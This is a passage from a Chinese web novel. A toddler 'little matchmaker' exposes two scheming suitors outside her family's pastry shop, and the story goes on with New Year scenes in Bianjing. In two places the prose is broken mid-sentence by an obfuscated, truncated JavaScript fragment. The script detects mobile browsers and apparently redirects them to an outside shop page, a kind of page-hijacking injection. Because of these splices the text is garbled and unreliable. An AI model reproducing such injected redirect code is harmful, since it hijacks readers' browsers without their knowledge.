好在大多数人并不知道两个店铺的关系,否则也会连累慧女点心。 毕竟谁家好店铺干的出那种事? 让一个女子同时相看两个人家? 苏茵茵原本以为这跟他们家也没什么关系。 谁知道腊月初八大早上,便听到门外吵吵嚷嚷。 “就是这吧?” “是这,这也是苏家的店铺,真正的小红娘就在里面。” 苏娘子眉头紧皱,觉得这话说得不对劲,先让茵茵去后面厨房待着,这才打开店门。 虽说平日顾客不少,但一开门就站着七八个人的场景,还是头一回。 “你们家小红娘呢,赶紧出来啊。” 苏娘子看向躲在后面的苏伯娘,直接道:“大嫂,你这是什么意思。” 苏伯娘刚想走,又被人捉住:“你还不赶紧说明白?” 一个小店门前,挤了七八个人,路过的人都要听一嘴怎么回事。 就连隔壁还在装修的酱料店,皆忍不住看向慧女点心。 苏茵茵听着不对劲,偷偷从后门溜走,请邻居帮忙去寻爹爹。 爹爹正在巡逻,应该能赶到。 等苏茵茵回到厨房,也听明白怎么回事了。 “你家大嫂可说了,他们不是正经的小红娘,牵线姻缘的事,是你们家在做。” “所以让你家来给个公道,那女子到底应该许配给谁家。” 什么东西!? 苏茵茵简直要被气笑了。 大房家的店铺为了招揽生意,就要用撮合姻缘的名头,好多卖些点心。 现在出了事,就说是她娘亲店铺的问题? 还让她娘解决? 别说苏茵茵被气到,苏娘子这般好脾气的人都气不打一出来。 当年两房还没分家,这个大嫂就惯爱推脱,如今都分家了,她男人也回来了,竟然又来。 还要让她女儿出来给个决断。 这根本不合理。 路过的行人,四周邻居也傻眼了。 这分明是把脏水往慧女点心泼啊。 苏伯娘只想赶紧解决这件事,直接道:“你家女儿不是出了名聪明吗,一眼就能定下姻缘,有本事就让她出来。” “别是故意用这名头骗人的吧。” 怎么可能! 他们家从来没有这样说过。 苏茵茵看着他们为难娘亲,小炮弹一样直接冲出来,利落踩上凳子:“你胡说什么,不要欺负我娘亲。” 苏伯娘看着苏茵茵,下意识想到这孩子小时候就跟她不对付。 只要她靠近苏家二房,这小孩一定哭闹个不停,气死个人。 不止如此,就连婆家肃河村的人都说,苏茵茵冰雪聪明,可有福气。 这叫什么福气? 简直是气人精。 “谁欺负她了,不是大家都说你是小红娘吗,怎么现在不敢了?这本来就是因为你惹出来的。”苏伯娘牙尖嘴利。 苏茵茵并不服输,撸起袖子道:“到底是谁惹出来的,谁登记的信息,谁又借着这事赚钱,大伯娘你真是好生无赖。” 三岁的小娃娃一口气说出来还不止,又道:“你自己识人不清,连累人家女方,还把祸水东引,你这种人还能开店,莫不是辱了苏家的名头。” “哦,只有你一个还不够,我大伯呢?他不会当缩头乌龟,把事情交给你处理,你又把事情推到我们头上吧!” 苏娘子瞪大眼睛。 平日里女儿乖巧得很,很少会这般气盛,甚至还把自己护在她身后。 小小的孩子,哪能护得住她啊。 偏偏她的气势绝对不输任何人。 苏娘子也道:“听到了吗,此事跟我家无关,还是赶紧让开,我们家要做买卖了。” 苏伯娘看了看找上门的两男方,朝他们使眼色。 真想解决这件事,只能找小红娘! 对这两家来说,他们都想娶媳妇,都不愿意放手。 相比糊涂的苏家点心来说,现在看来慧女点心的人反而更靠谱。 让这里做决断,肯定比苏家点心合适。 “都说宁拆一座庙不毁一桩婚,不管这个贼妇人说什么,我们都不管了,还请慧女点心的小红娘帮忙做决断。” “就是,我们信你们的,若事成了,我们家的点心喜饼,都在你家定。” “我家也买,请求给个决断吧。” 这,这成什么事了?! 苏茵茵后退半步。 这些人有病吧! 苏茵茵刚想拒绝,又看人群后面有两个人,一个还做了乔装打扮。 这是? 难不成女方家里听说了,也过来看情况。 他们老两口看着颇有些焦急,眼神看向慧女点心的时候,都带着愧疚。 再看看眼前咄咄逼人的两家,苏茵茵本就觉得这两家烦人,忍不住又想,他们都被烦成这般,想来那被无辜牵连的女方,只怕更难受。 想求好姻缘是没错的,错就在这些人心思不正。 苏茵茵眼睛一转,干脆问道:“好啊,那我就给你们断断这姻缘,如何?” 苏茵茵名声在外,之前几句话点破媒人的胡话,她还促成好几段姻缘,或许真的可行? 苏娘子并不赞同,这事谁惹上都是不好的,不如等苏副使回来再讲。 可苏茵茵却安抚母亲,直接问道:“先从你开始吧,你姓甚名谁,年龄几何,家住何处,家中长辈可在,兄弟姊妹多少,房屋铺面又有多少,可有官身,又是什么籍贯?” 苏茵茵朝自己左手边的人先问。 对方听此,竟然颇有些傲气,直接道:“常永安,今年二十四,家中长子,父母具在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060900|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家中还有三个弟弟,两个妹妹。” “家中房屋三处,铺面两间,仆从伙计五六个。” 周围一听,竟然有些敬佩。 这条件不错啊。 苏茵茵又问右手边的人:“你呢?” 被问到的人同样不服输,答道:“我叫丘荣,今年二十,父在,继母对我极好,家中有两个哥哥,两个弟弟,三个妹妹。” “家中房屋七处,主宅就在城南,家中店铺六间,仆从伙计婢女数十人。” 哇,这条件也可以啊。 听着都是不错的人家。 苏伯娘立刻道:“那家的女子家中无兄弟姊妹,也只有一处住宅一处店铺,连仆从都没有,不管嫁给哪家,可都是高嫁!真不知道她在挑什么!” “实在是可气!” 此话一出,竟然引起不少人叫好。 对啊,那家在想什么,随便选一个不就好。 苏茵茵冷笑:“大伯娘,你倒是说说,这常家哪里好了。” 苏伯娘直接道:“常家父母双全,兄弟姊妹和睦,必然和睦相处,哪里不好。” “丘家又有哪里好。” “丘家房屋铺面多,还是住在南城,怎么就不好?” 周围人多是这般想到,甚至家中有女儿的门户都在看他们,要不然他们也去问问,说不定是个好姻缘。 苏茵茵翻了个白眼,小娃娃翻个白眼都是可爱的,直言:“好啊,只说好的,不看短处,就是这般撮合姻缘的?” 苏茵茵两手一摊:“两家都有问题,你们没看出来?” 路人里也有明白事理的,微微点头,低声道:“都不是什么好人家。” 那老两口听到,惊愕道:“为什么。” 他们就是被求娶女子的爹娘,老来得女,才有这一个掌上明珠,最近实在头疼,其实这两家他们都没相中,但说不出个所以然。 毕竟以对方的条件,他们要是直接拒绝,肯定会被说眼光太高,到时候女儿的婚事更难了。 路人也说不出个缘由,他就是本能觉得是坑。 好在店里的小娃娃开口了,她直接道:“先说常家,今年二十四,寻常人家的孩子,女子十七八,男子一二十,都要议亲了,你为何二十四还在议亲,还这般着急?” “是不是之前有过婚事,但退婚了,为何退婚,可敢说明吗?” “家中四个儿子,有三处房子,两个铺面。请问以后要分家吗,不分家的话谁来经营,若分家的话,又要归哪房?” “我是长子!自然是我!”常永安立刻道。 跟着常永安旁边的弟弟们面面相觑,他们是过来帮哥哥助威的,这会猛然一听,好像有点不对劲。 平日这两间铺子,都是他们兄弟四人一起打理的。 都要归老大所有? 这不合适吧。 常永安察觉自己说出心里话,又看向店里的小娃娃,颇有些被拆穿的恼羞成怒。 “对啊,他家资产颇少,怎么还求娶那女子。还是我合适。”丘荣自鸣得意。 看来小红娘也是偏向他的。 苏茵茵根本不给他得意的机会:“你家也不行。” 开玩笑,你家是更大的坑好吗! 26. 第 26 章 第26章 更大的坑? 他家明明更有钱啊,人口兴旺,这可是有福之家。 但周围人不敢再说,只听小娃娃解释。 “你有继母,还有哥哥,请问前面两个哥哥是正室所出吗。” “家中一共八个兄弟姊妹,至少有三个或四个生母。” “你娘不在,那家中房屋店铺跟你有关系吗?而且家中店铺虽多,仆从伙计婢女却少,证明多数活计都要你们自己做,其中那婢女是不是你庶母。” “你特意强调家中主宅在城南,却不说其他宅院在哪,总不会在乡下吧?” 这常家,是想娶个懂经营的长媳进去,以后跟兄弟姊妹们争家产,倒是一家人不一定怎么欺负她呢。 丘家的丘荣则知道自己无依无靠,家里兄弟多,还不和睦,继母势大他肯定争不了家产。 索性找个家里有店铺的独女,到时候吃软饭也不错。 总之,这两家都没安什么好心思。 周围人都听傻了。 这,这也行? 靠着仅有的信息,就能分析出这么多? 而且确实一步一个坑啊。 听着都是花团锦簇,实际上内里问题多得很。 后面的老两口听的冷汗津津,他们只是想给女儿找个好归宿,没想到差点被骗。 路人们也傻眼,再也不提那女子是高攀的事。 好好的小姑娘,嫁个顺顺当当的门户不好吗,没看到常家四兄弟的火气起来,差点要打架一样,争家产这种事,打到头破血流都很正常。 还有那丘荣,怪不得他身边只有一个好友跟着,家里一个人也没来,还继母对他好,对他好能这样? 众人看向苏茵茵。 不愧是小红娘啊,几句话就帮人避开大坑了。 被拆穿的两家人脸上无光,还想辩驳几句,被身后的兵卒驱赶。 “干什么呢!堵在门口做什么!你们这些人是要聚众闹事吗?”西城兵马司丁鹏正带着人过来,还对小娃娃使眼色。 他们其实早就来了!眼看小娃娃镇住全场,这才没第一时间出现。 天知道弟兄们听说有人在苏家门口闹事,心里有多生气。 偏巧苏副使被人喊过去,说是老家有人找,不过想来消息也到他那,很快就会过来。 兵卒一来,这两家人不敢再闹事,苏伯娘也想趁机溜走,却被苏茵茵直接指住。 丁鹏正则道:“就是你闹事吧?把她给我带回去,通知她家人,一起去兵马司喝喝茶!” 真是给你们脸了。 围观的人群见此,赶紧快步离开,心里却忍不住惊叹小娃娃的聪明,这小孩怎么养的,太聪明了。 唯独后面站着的老两口没走,两人拿了一锭银子,说要买点心。 苏娘子并不知道他们是谁,只是诧异道:“这么多银钱,够把我们店所有点心都买了。” 推脱再三,老两口还是把所有东西都买了十份,对小娃娃千恩万谢。 不是店里的小娃娃,他们还真没理由拒绝他们。 苏茵茵喝完水回来就看到娘亲在打包点心,赶紧道:“娘,他们就是女子的爹娘。” 苏娘子手一顿,赶紧把银子还回去:“不用买点心,对你们来说本就是无妄之灾。” 想要好姻缘并非是错事,错的是心思不正的人。 慧女点心也不需要这样的补偿,否则跟大房家又有什么区别。 老两口更诧异了,小娃娃竟然看出来了? 苏茵茵挠头,都怪她跟做喜饼娘子们聊八卦聊的太多啊,心里有个模糊的印象。 方才来看热闹的邻居凑过来道:“都说你家闺女是小红娘,看来果真没错。” “就是,这一番话,真是绝了。” 老两口更是点头,苏茵茵却摆手道:“没有没有,凑巧而已。” 说话间,快步走过来的苏副使一脸严肃,他只是去城门口接个人,家里怎么就出事了。 苏副使身后,还跟着两个别别扭扭的人。 这两人苏茵茵认识! 老家肃河村的那两个死对头! 不对,是那两个大哥哥大姐姐! 两人背着制好的兽皮肉干,风尘仆仆的,脸色还带着不好意思。 这是怎么了? 上半年那会,苏茵茵跟着娘家回了一趟老家肃河村,去苏奶奶那学新的点心手艺。 在老家,苏茵茵交了不少好朋友。 其中就有大哥哥郑良跟大姐姐霍芸。 两人都是猎户出身,平日针锋相对,吵个不停。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060901|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏茵茵当时还调侃过,说他们是死对头文学。 他们两个一起过来,还真是稀奇啊。 苏副使方才不在兵马司,就是去接他们了,两人头一回来京城,不认识路。 还好,家里的麻烦已经解决。 “霍芸姐姐,郑良哥哥,你们来卖皮货吗。” 两人对视一眼,同时点头。 郑良挠头道:“我们把家里存的皮货都卖了,准备置办年货。” 马上过年,这会是出手皮货的好时候。 不过这次出手的皮货比较多,还有另一个原因。 苏娘子倒是知道怎么回事。 两人的亲事,要定下了? 在肃河村时,两人就跟苏娘子提过这件事,不过当时两人还有些别扭。 如今小半年过去,看来好事将近? 霍芸扭头道:“还要置办嫁妆,他置办彩礼。” “还要定喜饼。”郑良接话,“苏娘子,之前说过的,若我们俩的事成了,必然要在你这定喜饼的。” “毕竟我跟霍芸妹子的事情,也是茵茵先看出来,否则我们的好事还没那么快呢。” 在场众人震惊。 苏副使算是明白,为何同村这俩孩子专门托人寻他,还有这层原因。 围观的邻居,乃至还未走的老夫妇两个,则是目瞪口呆。 这个小娃娃不愧是真正的小红娘啊。 不仅在汴京撮合姻缘,在老家还促成一对。 苏茵茵本人完全迷茫。 还有这事? 还跟娘亲预定了喜饼? 她怎么完全不知道啊。 当时就记得两人送来的野猪肉很好吃,娘亲还特意去道谢。 就是那次?! 老夫妻两个看向苏茵茵的目光,简直充满期待。 那个,他们之前找了假红娘,以后在真红娘这里买点心,能成不? 万一好姻缘就来了呢? 周围人目光灼灼,苏茵茵差点绊倒。 别啊! 怎么越澄清越混乱啊! 霍芸郑良两人却是最好的见证。 他们这一来,苏茵茵小红娘的名声更广了。 惹得年前慧女点心顾客更多。 买一点,沾沾喜气也行啊。 27-30 第27章 霍芸跟郑良的前来让店铺好生热闹,更让周围邻居都知道小红娘的实绩又添了一件。 而且看这两人,都是身强力壮的,身后提着的兽皮极多,一看就是真正有本事。 如此般配的两个人,合该走到一起。 霍芸郑良来的快走得也快,他们手里都是好皮子,又赶在年前,卖得极快。 苏副使苏娘子帮着购置年货礼物。 郑良小心翼翼装好买好的喜饼。 两人便启程回肃河村,走之前还留了张厚实的皮子,专门送给苏茵茵,还让她一定收下。 “若不是你那句话点醒我们,还没那样顺利呢。” 这种谢媒礼,绝对不能少。 苏娘子也没让他们吃亏,包了不少点心糖果,让他们回家吃。 当然,同时再准备一份丰厚的礼物,让霍芸郑良帮忙带回给苏奶奶。 幸好两人走得快,他们离开没几日,汴京的雪越下越大。 风雪交加中,城北苏家点心的事,还是穿到苏茵茵耳朵里。 邻居刘姐姐回娘家的时候,顺便说的。 那日苏伯娘祸水东引,要把牵线孽缘的事栽到慧女点心头上,甚至把人引到城北慧女点心。 若不是那日小娃娃口才了得,估计常家丘家就要缠上他们这。 苏副使的下属丁鹏正率先赶来,倒是好了。 他来处理此事,反而显得公正。 当日就把苏大伯也喊到兵马司,一并送到北城衙门。 平日他们在西城,大家只能托北城兵马司关系不错的同僚帮忙警告,却不好自己动手。 现在直接撞到他们手中,干脆扭送到北城衙门,这可是正儿八经自己地盘。 两人被关了一晚上,又让他们写了文书,保证不再犯。 衙门官吏也觉得不妥,还把事情通给西城衙门同僚,说这简直是私媒,还差点惹出一女二嫁的祸事,让他们好好管管。 一来二去,这两人又被扔到西城衙门关了好几日。 西城衙门也气啊。 好端端的,丢这样大的人。 不过最生气的,大概还是被拆穿的常家长子,以及丘家老三。 这两个的底都被扒干净了。 其中的常家长子,还真被小红娘说中了,他之前定过一门婚事,不过他家情况好起来,那女方家落魄,故而退亲。 这也是他二十四了,还要重新寻人家的原因,也确实看中那女子家里善经营,好娶回来跟弟弟们挣家产。 丘家的问题更不小,他家也跟苏茵茵说的一样,十个兄弟姊妹,一共有五个生母。 家里乱成什么样,可想而知。 他母亲病故,舅舅家也没什么助力,可想而知分不了什么东西,故而把主意打到有家底的姑娘家。 那个被他们看中的女子,家中独女,家里还有店铺,可不就是最好的选择。 说难听的,便是想吃这家的绝户。 好不容易遇到个合适的,家里情况还单纯的,可不要上赶着。 上赶着就罢了,竟然还哄骗周围人,说什么自家条件好,对方才是高攀。 若不是对方拿不定主意,又遇到小红娘苏茵茵,说不定还真的被骗婚了。 到时候想从两个泥潭里出来,绝对不可能。 这段时间里,他们两个人被无数人笑话,那点小心思,瞒不过同阶级的人,现在还被拿到大庭广众之下谈论,要多可笑有多可笑。 常家长子跟三个弟弟之间的矛盾越来越深,听说还打起来了。 丘家老三在家里本就没地位,事情发生之后,家里明里暗里笑话他,根本在家里待不下去。 被拆穿后恼羞成怒的两人,不敢去找慧女点心的麻烦,毕竟那家男人在兵马司做副使。 便把怒火发到苏家点心上。 所以苏伯娘苏大伯被关押起来这几天,他们频频上门找麻烦。 苏家大房三个子女扛不住事,根本不敢开门。 等苏大伯他们两个回来,同样被逼的没办法。 “大房那几个人,回肃河村过年了。”刘姐姐帮着照顾点心铺,一边跟苏茵茵说闲话,“估计多躲一阵风头。” 她相公丁鹏正一直在处理这件事,所以她知道的很清楚。 这样,也是帮忙报了苏家大房的仇。 谁让他们做那些乌七八糟的事。 因着苏副使的好人缘,此事都不让他插手,自有兄弟们帮忙。 苏茵茵认真点头。 就该这样做,谁让大伯大伯娘欺负人! 回乡躲一阵,都算他们运气好。 这两人之前被收拾一通,两三年没闹事,不知道为何,现在又作妖了。 “我倒知道为何。”刘姐姐嫁人之后,离家虽然不是很远,但也是自己成了小家,对外面的事更清楚。 “为什么呀。” 刘姐姐道:“以前市面上卖点心的店铺少,你们苏家又是老手艺老传承,所以顾客稳定。” “但最近几年,汴京店铺多起来,卖点心的也多了不少,若是好好做点心,用料扎实点还能行。” “你大伯他们家,总是以次充好,所以生意越来越差。” 苏茵茵眨眨眼,翻译一下便是。 朝廷稳定,又不打仗,经济跟市场慢慢繁荣。 现在竞争多,点心行业也在进步。 原地不动,甚至原地退步的店铺,生意肯定要差的。 这么想想也没错,他们这条街上,最近多出不少店铺,好像汴京的店铺确实越来越多了。 苏茵茵想到自家。 他们店铺有六种点心,凉糕跟山楂云卷糕在冬日不好卖了,只剩下四种。 若不创新的话,他们家生意肯定也会下降。 点心店的,还是要靠点心支撑。 这才是根本。 说句不好听的。 那些来定喜饼的人家,一方面是冲着她的名头讨个喜气。 另一方面,也是因为娘亲做的喜饼确实好,否则程张两家婚事,怎么就定自家。 苏茵茵小脸皱巴巴的,被苏娘轻轻揉一把:“别担心了,等天气好一些,咱们再回老家一趟,你奶奶还会很多种点心做法呢。” 对哦。 还有奶奶呢。 苏茵茵还道:“到时候说不定能吃霍芸姐姐的喜酒。” 苏奶奶会做二十八种点心,已经很多了。 听说越到后面,样式越复杂。 等到开春之后,她们母女两个买些材料,就回乡学习。 开春后的事再说,年前的事还多着呢。 年前家里家外都要收拾一遍,还有相交的好友会在年前小聚,苏家一连几日都有宾客上门。 苏茵茵都认识,大多是爹爹之前的同僚旧友,大家过得都比之前好些。 甚至还有一家,是娘亲婚前密友,来京城看亲戚,正好来聚一聚。 爹爹娘亲的朋友们都来了,她的小伙伴还在外面。 苏茵茵提起笔,给原锐写信。 信还没写完,隔壁酱料店的小孩看过来,对小娃娃桌子上的点心格外眼热。 察觉到邻居家小孩的目光,苏茵茵朝他招招手,对这个五六岁的小孩道:“酥花生,吃吗。” “吃!”小男孩跑过来,他长得很壮实,憨态可掬,又有点不好意思,“我吃一个就行,尝尝味。” 苏茵茵笑眯眯的,把小碟子推过去:“都给你吧。” 上辈子的她知道嘴馋是什么滋味。 一小碟酥花生而已,就当哄小朋友了。 邻居小孩惊喜万分,几口吃完花生,还小心翼翼舔舔嘴唇,真香啊。 苏茵茵感觉小孩确实有意思,还把这事写到信里。 原锐的仆从说过,年前会送最后一次信,这两日就过来拿。 看来看去,苏茵茵在信里忍不住写:“要是能像邻居家哥哥那样,多吃些饭就好了。” 自己的小伙伴真的太瘦啦。 说起来,他过了生辰,已经七岁了。 原锐家的仆从如约而到,在腊月二十二前来取信。 只是这位仆从脸上颇有些难过。 苏茵茵多问了句,对方只含糊道:“我家少爷自己在别院,老爷夫人今年走不开。” 也就是说,原锐一个人过年?! “有什么事走不开啊。” “大事。” 不是陛下皇后不想去,这段时日两人折返行宫汴京好几次。 但年关将至,事情太多。 今年还有数十番邦朝贡,其中两国不容小觑,陛下跟皇后娘娘肯定要留在京城的。 更不要说各种祭祀,都需要两位在场。 苏茵茵眨眨眼。 过年,爹娘却不在身边,她想想就觉得难过。 苏茵茵一时说不出话,开口道:“小哥哥你等我一下。” 仆从哪担得起苏小姐喊他小哥哥,可苏茵茵直接跑回家,在房间里翻箱倒柜。 酱料店的小孩都看傻眼了。 这是怎么了? 旁边的苏娘子也觉得不太好,谁家过年,不陪着孩子,这像话吗。 不多时,苏茵茵从家中出来,手里提着一个小箱子,箱子里都是近来爹娘给她买的新玩具。 一个小弹弓,还有三个磨喝乐,几个小猫玩偶,小蝴蝶的玩具,再有平日里练的字,更有些精巧的小玩意儿。 不止如此,还把娘亲做的酥花生包了一大包进去。 旁边小孩更傻眼。 自己吃只了十几个花生,都高兴得不行。 怎么她还包了一大包送人啊。 小箱子里塞得满满当当,苏茵茵郑重道:“里面还有些几个月我练的字,烦请大哥哥送给原锐,让他帮我看看,我练得好不好。” 仆从惊喜万分。 他当然知道殿下多在意这个朋友。 这么多礼物,殿下肯定高兴坏了。 在旁边小孩羡慕的眼神中,仆从提着玩具箱离开。 对此苏娘子自然不会阻止。 先不说原锐那孩子着实可怜,再者就看原锐平日送来的东西,他们那点回报根本不算什么。 最重要的是,这些都是女儿的玩具,当然是她说了算,他们做爹娘的再补一份即可。 苏茵茵看着原锐家的仆从离开,这才准备回店里,谁料旁边的小孩一个跨步上去,不知道从哪学的,直接道:“以后,以后我认你当老大吧!” 老大?! 这是什么说法?! 苏茵茵下意识去找娘亲,那酱料店的小孩继续道:“以后你罩着我,我给你当小弟。” 这么大方的老大,真的很少见。 苏茵茵哭笑不得,勉强收下这个小弟。 细聊才知晓,酱料店的老板姓孙,不是汴京人,是从济州投靠亲戚,这才搬到京中,专门做酱料买卖。 “我叔父说,汴京这些年热闹,来这里卖酱料生意肯定极好。”孙家小儿子孙东俊一边吃花生,一边道,“等到年后,店就能开起来。” 隔壁装修一个多月了,装好也要过年,所以年后开业。 当天晚上,隔壁家专门送了他们做的济州酱料过来,大约得知孩子蹭了不少点心,礼尚往来。 苏家人吃着,酱料着实不错,开业之后生意估计会很不错。 苏娘子专门为这些酱料做了羊汤,又烙了大饼,冬日吃这些最暖和。 堂屋里,苏茵茵跟苏显在旁边练字,苏娘子给孩子们缝补衣裳。 还在外巡逻的苏副使还未回家。 冬日各家各户闭门不出,巡逻的兵卒们还要坚守,作为火禁司副使,肯定也要巡视的。 越是到年关越要小心。 防火防盗,都是重中之重,全靠兵马司的兵卒们日夜巡查。 苏茵茵听到院门动了声,赶紧掀开厚帘子去看。 一身风雪的苏副使抖抖身上的雪花,大步朝堂屋走来。 “爹爹回来了。” 苏娘子放下手中针线,抬头去看,女儿已经扑到爹爹怀里。 苏副使一身冰冷,就怕冻着孩子,顺手揉揉写字的大儿子,赶紧去烤火。 “今年可真冷,雪下的都比往年厚,好几个水缸都冻着了,那些人实在不用心。” “真等用水的时候,他们才着急。” 苏副使说了几句公务,又吃了娘子端来的热羊汤,蘸着酱料吃了热乎乎的饼子,身上渐渐有了暖意。 苏茵茵认真听着,最近雪大,她不怎么出门,压根不知道这些。 但是爹爹好厉害。 要忙那么多重要的事。 察觉女儿的目光,苏副使忍不住多说几句,学习的苏显都抬头去听,妹妹凑到他身边,两个小孩皆抬着头,别提多仰慕了。 苏副使所在的火禁司,主管囚犯跟火禁事务。 “一到过年,便是歹人作祟的时候,贼也要过年,铤而走险的大有人在。” 苏茵茵听说过一些,不过还是震惊道:“最近的监牢人很多吧。” “是啊,这些年还好一些,前些年才叫乱。”苏副使又提起防火的事,他每日巡逻,着重注意火禁事宜。 冬日天冷,要确保西城各巷的防火水缸里都添了盐,这样水方能不冻,省得有人冬日取暖时不小心失火,到时候连水都没得用。 都是些再琐碎不过的差事。 不像平常人以为的,兵马司巡街威风赫赫,更多还要耐心细致,不厌其烦。 苏副使平日话不多,今日回来猛然一讲,还有点不好意思。 “听起来很无聊是不是。”苏副使吃过羊汤,笑道,“没有什么惊天动地的大事。” 便是抓小贼,也没什么惊险可言。 小贼们多瘦弱,他一手一个。 苏茵茵苏显连连摇头。 “明明很厉害。”苏茵茵认真道,“爹爹是大英雄。” 保护邻里的大英雄! 苏副使明显被夸的想笑,又习惯严肃,不好意思多笑,还是苏娘子先笑出声,他才不好意思摸摸头。 哎,平常做惯了的事,被女儿一夸,怎么那样不同啊。 年前年后忙完,苏茵茵抱着猪猪存钱罐,认真往里面塞铜板。 过年期间,她得了不少压岁钱呢。 来往的亲朋都会给红封,去京郊舅舅家时,舅舅更是给了个大红包。 她的存钱罐吃的饱饱。 一直到大年初六,汴京都是过年的气氛。 初一去金明池看表演,初二看傀儡戏,等到初三,还有大杂团的表演。 前两年苏茵茵年纪小,他们全家不去凑这个热闹,今年三岁了,可以去玩啦。 初四初五,更有说书的名角,苏副使好不容易买到票,全家整整齐齐去听。 期间还遇到不少同僚,全都带着家眷。 看到苏茵茵的时候,人人都知道她。 “小红娘!” “可真是极聪明伶俐的孩子。” “你做的那个存钱罐真好玩,就是钱彻底取不出来了。” 最后一句,自然是同龄小孩说的,大人们忍不住笑,又给了孩子们些铜板,让他们买糖吃。 苏茵茵被哥哥苏显牵着手,一步也不离开。 其他小孩想往前凑,又觉得不好意思,苏茵茵的哥哥太吓人了,一直冷着脸,跟茵茵宝宝完全不同! 大人们听书闲聊,小孩子们凑在一起跟着笑,再吃会果子,热闹得不行。 初六气氛才散了些,但因为帝后会出现在金明池附近的城楼上与民同乐,苏家四口又去凑了个热闹。 苏茵茵眼神虽好,却也只能看到模糊的两个身影,明晃晃的,说了些普天同庆,又说期盼今年风调雨顺的话。 苏茵茵来这里三年,汴京人的日子确实越过越好了。 想来帝后二人还算不错? 苏茵茵窝在爹爹怀里,被金明池的歌舞吸引,这可是宫中的剧团,轻易不出来表演的。 过了初六,对于做买卖的人来说,年也差不多过完。 慧女点心重新开业,苏副使那边也要回去当值。 不止如此,甚至连苏显都要上课。 谁家私塾初七就去读书啊! 贵的私塾,果然是贵有道理的。 按照他们私塾夫子的话说,你们每浪费一日,便是浪费一日爹娘的银钱。 这话是不是有点太可怕了! 苏茵茵瑟瑟发抖,已经过了十二岁生辰的哥哥苏显更加沉稳。 他绝对不会浪费爹娘的银钱。 苏副使跟苏娘子有些无奈。 他们对孩子们很好吧,真的不用这么节省的。 但他们也知道,私塾夫子建议苏显明年这个时候参加童试。 也就是说,明年这个时候,他就要考秀才了。 “先试一试,哪有一次便考过的,趁着年纪小多试几次,真正考试的时候,更有把握。” 考秀才一次不过很正常。 多考几次才是常态。 能在十五岁之前考中,便是上佳。 这一年里,苏显明显会更加用功。 苏茵茵给哥哥整理好书箱,朝他握拳,哥哥加油! 邻居孙家酱料店也开业了。 孙家看到苏显去读书,顺便问了句孩子在哪读书,他家孩子在家乡也在读书,到了新地方,肯定会继续读。 听说那私塾价格后,孙家明显沉默。 他们济州为孔孟之乡,已经很注重读书了,怎么你们比我们还看重啊。 再看人家的小女儿都写得一手字,真是不能比。 苏娘子还是推荐了苏显之前在的私塾,价格明显低很多。 苏茵茵看着,下意识想到原锐。 自己启蒙书都是他教的,不知道他现在怎么样。 四书她也该读了,但想着哥哥要备考不能打扰。 要是原锐在就好了。 苏茵茵想着,又挠头,原锐是不是说过尽量回来给自己过生辰? 也不知道是哪一年的生辰。 算了,她可以自学! 经历过高考的她,是可以自学的! 哥哥苏显自然不会让妹妹硬啃书本,留下不少笔记,有这些笔记,苏茵茵学的果然快了。 甚至超过酱料家的孙东俊。 孙东俊五岁启蒙,今年六岁,读书有一年了。 但他去找苏茵茵一起学习时,差点哭出声。 本以为都是刚学一年,自己还比小娃娃大两岁,肯定比她厉害。 没想到人家千字文三字经背得滚瓜烂熟不说,甚至还会写字。 他怎么什么都不会啊。 还有几日便四岁生辰的苏茵茵只好去劝:“我有两个人教呢,他们都很厉害,所以学得快啊。” 她有种欺负小孩的感觉,这样很容易愧疚啊。 “那我还上了私塾呢,两个呢。” “还是不会背三字经啊。” 孙东俊委屈得厉害,努力不让眼泪掉下来。 等苏茵茵劝了又劝,孙东俊这才好些,不过回到家后,便下苦功夫读书。 他一定会赶上小娃娃的进度! 苏茵茵托腮,哎,同样都是六岁的小孩,去年六岁今年七岁的原锐就不会哭鼻子。 看来还是原锐小伙伴比较厉害。 苏家四口人在汴京快快乐乐过了个年。 另外的苏家五口人可不是这般。 苏大伯带着妻儿回老家躲祸事,只能把店铺关门,这段时间没有收入,可把他心疼坏了。 夫妻两个日日吵架,从汴京吵到老家肃河村。 见到卧病在床的苏奶奶,两人出口不逊,苏伯娘还指责苏奶奶教会周慧女做好几样点心。 气的苏奶奶把他们一家五口赶出门。 他们一家只能去收拾常年不住的房屋,大雪天还要修修补补,否则会漏风。 厨房冷锅冷灶的,连柴火都没有。 这个年过的,要多憋气有多憋气。 他们本想跟苏奶奶服个软,蹭到苏奶奶如今的房子里住,没想到大门一锁,老人家去隔壁姨奶家住下。 姨奶家得了苏副使跟周娘子送的年礼,还托同村人送来点心,哪有不愿意的,根本不让苏家大房的进门。 这下好了,苏家大房不仅成了汴京一群人的笑话,还成了老家肃河村全村人的笑柄。 气的这一家五口,刚过了正月初十,便要回京。 租了辆马车,赶紧回去,想着赶紧回去重新开张,而且村里彻底待不下去。 臊眉耷眼的一家人,不仅出手小气,还不管车夫的饭,车夫都觉得晦气。 走到官道上,苏大伯还道:“马车怎么这样慢,知道耽误一天,我家要损失多少银钱吗?” 说罢,竟然想自己驾车。 眼看马匹受惊,马车速度确实快起来,吓得车夫赶紧夺走鞭子。 车夫气急,骂人的话还为出口,旁边一辆六架马车疾驰飞过,后面还有十几匹轻骑。 让这本就不稳定的车马差点翻过去。 轻骑上的人见他们没事,这才继续前行。 